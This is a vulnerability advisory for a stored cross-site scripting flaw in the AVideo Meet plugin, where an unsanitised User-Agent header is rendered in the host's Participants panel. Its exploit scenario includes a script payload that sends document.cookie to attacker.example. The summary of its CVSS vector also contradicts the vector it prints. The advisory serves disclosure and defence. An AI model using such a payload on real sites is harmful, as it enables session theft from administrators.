EUVD-2026-42270
GHSA-4f8v-jp98-cpv3
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network injection via public meeting join (PR:N, AV:N) with scope change into privileged admin session (S:C); low C/I typical of XSS, no availability impact.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
1DescriptionCVE.org
AVideo (Meet plugin) through commit e8d6119f3cb1b849149906efeb0a41fc024f59f8 contains a stored cross-site scripting vulnerability in the Meet plugin's getMeetInfo.json.php endpoint. When a participant joins a public meeting, the raw HTTP User-Agent header is stored (meet_join_log.user_agent) without sanitization (bypassing AVideo's setter-level xss_esc() layer) and later echoed without output encoding (no htmlspecialchars()) in the Participants management panel, which is accessible to the meeting host and site administrators. An anonymous, unauthenticated attacker can join any public meeting while supplying a User-Agent header containing an HTML/JavaScript payload; the payload is persisted and executes in the privileged, authenticated browser session of the meeting host or a site administrator when they open the participant list. The issue was unpatched at the time of the report.
AnalysisAI
Stored XSS in AVideo's Meet plugin allows an anonymous, unauthenticated attacker to inject arbitrary JavaScript into privileged administrator and host browser sessions by supplying a malicious HTTP User-Agent header when joining any public meeting. The getMeetInfo.json.php endpoint persists the raw User-Agent value in meet_join_log.user_agent, bypassing AVideo's xss_esc() setter and omitting htmlspecialchars() at the output layer in the Participants management panel, where it renders in authenticated host and admin sessions. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the AVideo Meet plugin be installed and active, and that a public meeting exists on the target instance which permits unauthenticated join requests to getMeetInfo.json.php without account creation or login. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.1 (Medium) reflects impact scoped to the subsequent system - the authenticated administrator or host browser session (SC:L/SI:L) - rather than the attacker's own context. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker identifies a public AVideo instance with the Meet plugin and sends an HTTP POST to getMeetInfo.json.php with a User-Agent header containing a JavaScript payload such as `<script>fetch('https://attacker.example/c?d='+document.cookie)</script>`; this value is stored verbatim in the database. When the meeting host or a site administrator subsequently opens the Participants management panel to review attendees, the browser renders the unencoded payload and the script executes in their authenticated session, exfiltrating session cookies or enabling the attacker to perform admin-level actions. … |
| Remediation | No vendor-released patch has been identified at time of this report; the issue was explicitly unpatched at disclosure. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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